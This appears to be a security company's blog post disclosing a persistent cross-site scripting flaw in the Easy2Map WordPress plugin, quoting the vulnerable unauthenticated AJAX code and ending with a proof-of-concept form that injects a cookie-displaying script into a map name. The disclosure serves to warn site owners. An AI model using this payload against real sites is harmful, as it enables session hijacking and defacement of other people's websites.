08 Aug

This Persistent Cross-Site Scripting (XSS) Vulnerability Might Be What a Hacker is Targeting Easy2Map For

Today we had what appears to be a hacker probing for usage of the plugin Easy2Map by requesting a directory from it, on our website:

/wp-content/plugins/easy2map/includes/

The same IP address was also probing for publicly disclosed SQL injection and arbitrary file upload vulnerabilities in a couple of other plugins. While for both of those they requested the vulnerable file, in this case there isn’t anything that runs when accessing that directory.

When we started reviewing the plugin to see if there were any vulnerabilities we should be warning customers of our service about if they used that plugin, we immediately found that the plugin is fundamentally insecure. One example of that involves a persistent cross-site scripting (XSS) vulnerability that hackers could be interested in targeting.

The plugin registers the function Save_map_name() from the class Easy2Map_AJAXFunctions to be accessible through WordPress’ AJAX functionality to those logged in to WordPress as well as those not logged in:

95
add_action('wp_ajax_save_map_name', 'Easy2Map_AJAXFunctions::Save_map_name');
109
add_action('wp_ajax_nopriv_save_map_name', 'Easy2Map_AJAXFunctions::Save_map_name');

That function will call another function with the same name from the class Easy2Map_MapFunctions and pass along user input:

442
443
444
public static function Save_map_name() {
	 die(json_encode(Easy2Map_MapFunctions::Save_map_name(filter_input(INPUT_POST, "mapID"), filter_input(INPUT_POST, 'mapName'))));
}

That function will update the name of one of the plugins maps using that user input:

266
267
268
269
270
271
272
273
274
275
276
277
278
279
public static function Save_map_name($mapID, $mapName) {
 
	global $wpdb;
	$mapsTable = $wpdb->prefix . "easy2map_maps";
 
	$wpdb->query($wpdb->prepare("
		UPDATE $mapsTable
		SET MapName = '%s',
		LastInvoked = CURRENT_TIMESTAMP,
		IsActive = 1
		WHERE ID = %s;", $mapName, $mapID));
 
	return $mapID;
}

There are multiple security issues there. Those not logged in shouldn’t have access to that. There should be a check to make sure the logged in user should be permitted to change the name. There should be a nonce check to prevent cross-site request forgery (CSRF). It also would probably make sense to sanitize the value of the new name of the map.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause any available cookies to be shown on the page /wp-admin/admin.php?page=easy2map.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[map ID]” with the ID of an existing map.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=save_map_name" method="[path to WordPress]">
<input type="hidden" name="mapID" value="[map ID]" />
<input type="hidden" name="mapName" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.